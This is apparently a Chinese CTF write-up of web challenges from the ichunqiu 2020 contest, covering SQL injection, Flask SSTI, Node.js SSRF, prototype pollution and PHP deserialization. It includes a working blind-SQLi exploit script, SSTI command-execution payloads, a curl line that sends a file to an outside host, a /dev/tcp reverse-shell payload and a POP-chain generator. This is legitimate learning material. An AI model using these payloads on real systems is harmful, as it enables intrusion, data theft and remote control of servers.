本文最后更新于:星期二, 六月 16日 2020, 1:05 下午

简单记录一下这次ichunqiu2020慈善赛比较有收获的题目,顺便做点笔记

简单的招聘系统

一开始思路出了问题,注册界面可以使用二次注入,也可以直接万能密码进入后台。

后台的查询界面为union select联合爆破查询,用order by字句查出列数为5,排序第二会回显到界面上,后面就是通用套路了

blacklist

与2019 FudanCTF的你再注试试一样,写在BUU刷题笔记中了,这里贴个飘零师傅的wp:https://skysec.top/2019/12/13/2019-FudanCTF-Writeup/#你再注试试

easysqli_copy

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }
  1. 无回显,是一道盲注的题目,正则过滤了一大堆,然后使用PDO进行SQL执行,关于PDO的注入问题,可以查看这个链接:https://xz.aliyun.com/t/3950 关于PDO在特定配置下是可以实现堆叠注入的,这道题目就可以。

  2. PDO会自动转移敏感字符,比如单引号,但这里由于set names gbk,所以可以使用宽字节注入绕过,即1%df'利用gbk编码的特性。

  3. 并且过滤了这么多,关键的set、prepare、execute却没有过滤,那么使用16进制编码payload就可以完全绕过正则检测。16进制编码使用binascii库中的hexlify()、unhexlify()

  4. 最后的重点是使用时间盲注,即sleep爆破列名,然后取得flag即可,脚本在文件夹下

    这里有一个细节,关于%df在python中的编码,可以使用urllib.parse.unquote("%df")

  5. 时间盲注耗费时间较多,可以使用多线程优化:https://momomoxiaoxi.com/python/2019/03/12/python/

这里贴一下我经过多线程优化之后的exp:

import binascii
import requests
import urllib
import string

stri = ',{-}+-'+ string.ascii_lowercase + string.digits

# print(payload)
url = "http://c1efd719c13a4d04857291f972be8218066db2b3789f4405.changame.ichunqiu.com"
res = "flag: "

for x in range(1, 43):
    for i in stri:
        exp = bytes("select if(substr((select fllllll4g from table1),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
        # exp = bytes("select if(substr(database(),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
        # exp = bytes("select if(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
        payload = "1" + urllib.parse.unquote("%df")+"';set @a=0x" + bytes.decode(binascii.hexlify(exp)) + ";prepare diaos from @a;execute diaos;"
        # print(payload)
        try:
            # print("try: {}".format(i))
            r = requests.get(url, timeout=2, params={'id': payload})
        except requests.exceptions.ReadTimeout:
            res += i
            print(res)
            break
        else:
            # print(r.text)
            continue

# database: pdotest
# colmuns = fllllll4g
# flag = flag{74154b1e-b7df-4e56-9373-1bd1fc4e129f}

Ezsqli

知识点:

  1. MySQL5.7+新增了sys表,其中的sys.schema_table_statistics_with_buffer可以获取最近使用的数据库以及数据表
  2. ((select 1,concat("f",cast("0" as JSON)))<(select * fromf1ag_1s_h3r3_hhhhh))+1 该payload来源于https://www.smi1e.top/sql注入笔记/ 还有待进一步学习

https://www.smi1e.top/新春战疫公益赛-ezsqli-出题小记/ 这里是出题人的出题笔记,可以学习一下思路

Flaskapp

一道Flask题目,base64解密后render_string(),存在SSTI,经过尝试以下payload可以使用(python3):

  1. 读文件:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

    通过该文件读取/app/app.py获取到了源码,发现了以下的过滤函数

    def waf(str): 
        black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
        for x in black_list : 
            if x in str.lower() : 
                return 1 @app.route('/hint',methods=['GET'])
  2. 命令执行:

    {% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls />/tmp/fl'+'ag') %}2{% endif %}

    由于权限限制,只能将根目录写在/tmp文件夹下,然后再用读文件的方式读取,发现flag文件名称为this_is_the_flag.txt

    那最后直接

    {% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('cat /this_is_the_fl'+'ag.txt') %}2{% endif %}

    就可以获得flag

还有一些有关的SSTI解法:

  1. Flask SSTI常用payload:https://www.cnblogs.com/hackxf/p/10480071.html

  2. 第二种方法,通过计算pin码方式获得控制台:

    https://mp.weixin.qq.com/s/aDRhKQ3oW8zq_3tMjIeMjA

    https://mp.weixin.qq.com/s/SK2tfAiffx2srm8be217Bg

node_game

www.zip 拿到源码,是node.js使用express实现的一个服务器

重点在于这两段代码

var express = require('express');
var app = express();

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

看到POST函数那一段代码,很明显就是一个SSRF了,利用点在于GET函数中本地发送的请求,因为q可控,所以有可能可以实现SSRF

经过搜索,漏洞是node.js8.0.12的CVE实现请求拆分

https://r3billions.com/writeup-split-second/

还未做出,等待本地环境搭建

因为以上方法对于POST请求不太友好

最终用到了另一种拆分请求实现SSRF的方法:https://xz.aliyun.com/t/2894

该拆分请求的重点在于:

换句话说,报告者使用Node.js向特定路径发出HTTP请求,但是发出的请求实际上被定向到了不一样的路径!深入研究一下,发现这个问题是由Node.js将HTTP请求写入路径时对Unicode字符的有损编码引起的。

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持Unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的Unicode字符

也就是说,当我们使用高编号的Unicode字符,它的高位会被截断,只保留低位,并解释为ASCII编码的字符,那么我们就可以用这种编码方式绕过Node.js对HTTP控制字符(比如\r\n)的过滤,实现拆分HTTP请求

顺便加深了一下对python中chr()函数的理解:chr()函数在新版的python中是支持Unicode码的,而不是仅仅为ASCII码。以及,Unicode码是对ASCII码的拓展

最后就是POST请求往/template文件夹里写文件了,这里有一个点,就是req.files[0].mimetype返回的是请求头中POST文件的Content-Type,那我们可以构造../template来将文件写到/template文件夹中,才能访问到

还有一个关于pug模板文件的的一句话:global.process.mainModule.require('child_process').exec('curl http://nullcon2020.free.beeceptor.com/$(cat flag.txt)'),将其写入,然后通过core方法访问一下,就能达到RCE的效果了

ezExpress

首先是一个JavaScript中的toUpperCase()拉丁文越权。字符ı(ord = 305)经过该函数转换后会变成大写字母I(ord = 73).

ejs原型链污染?没有接触过。待更新。

TO-DO LIST:buuoj => HardJS、[axb 2019]membershop


做完了HardJS再来看这题,van全一致…,先看源码

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

原型链污染的点很明显了,就在clone()函数那里了,利用admin登录之后就可以调用/action接口直接上传JSON了,可以污染Object.prototype。利用点跟HardJS一样,是ejs模板渲染引擎的洞,opt.outputFunctionName未经校验直接拼接成动态语句执行。(HardJS题解看这 => https://www.diaossama.work/2020/02/27/BUUCTF刷题笔记/#XCUNA-2019-Qualifier-HardJS

说实话一开始我看到这一行代码的时候

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

那个res.outputFunctionName=undefined;让我以为他把这个洞堵上了,后来一想,不对啊,这个undefined好像对我的污染链没啥影响233

payload如下:

{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.0.225.172/2333 0>&1\"')//"}}

直接反弹shell拿flag就行

easy_thinking

thinkphp6.0.1 RCE + disable_function 绕过

babyPHP

这是道好题目,涉及到了以下两个知识点(之前都没有好好研究过的):

  1. 反序列化逃逸

    反序列化逃逸最经典的特征是这样的代码:

    function safe($parm){
        $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
        return str_replace($array,'hacker',$parm);
    }
    
    safe(serialize(new Info($age,$nickname)));

    这其中的$age和$nickname可控,那我们就可以通过构造字符串实现反序列化逃逸。

    反序列化逃逸的原理是:unserialize()会忽略能够正常序列化的字符串后面的字符串

    比如:

    a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

    反序列化会正常解析

    a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";},而忽略s:39:"upload/f47454d1d3644127f42070181a8b9afc";},从而导致读取config.php

    反序列化逃逸有两种思路(月亮师傅tql):

    1. str_replace()后字符串变长,通过构造value中的值实现反序列化逃逸(例如 0ctf piapiapia)

      这里贴个piapiapia的wp:http://www.vuln.cn/6004

    2. str_replace()后字符串变短,通过覆盖原来的key值,再任意构造key,实现反序列化逃逸(例如 [axb 2019] easy_serialize_php)

      这里贴个easy_serialize_php的wp:https://www.cnblogs.com/nwzw-blog/p/12096535.html

    这道题显然是第一种思路,union -> hacker 增加一个字符

  2. POP链的寻找

    POP链主要还是对PHP魔术方法的掌控,比如__construct()__destruct()__call()__toString等等

    这里POP链比较长,直接贴一个月亮师傅的wp吧,讲的比较细致:https://cjm00n.top/2020/02/24/%E6%96%B0%E6%98%A5%E5%85%AC%E7%9B%8A%E8%B5%9B2020wp/

最后payload如下:

<?php
//3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase; 
}

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token = "admin";
}

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}

$user = new User();
$user->age = "select password, id from user where username=?";
$nickname = new Info();
$ctlcase = new dbCtrl();
$nickname->CtrlCase = $ctlcase;
$user->nickname = $nickname;

$info = new UpdateHelper();
$info->sql = $user;
echo serialize($info);

还有两道比较类似的POP链题目:BUUCTF上的2019强网杯 uploadbytectf ezcms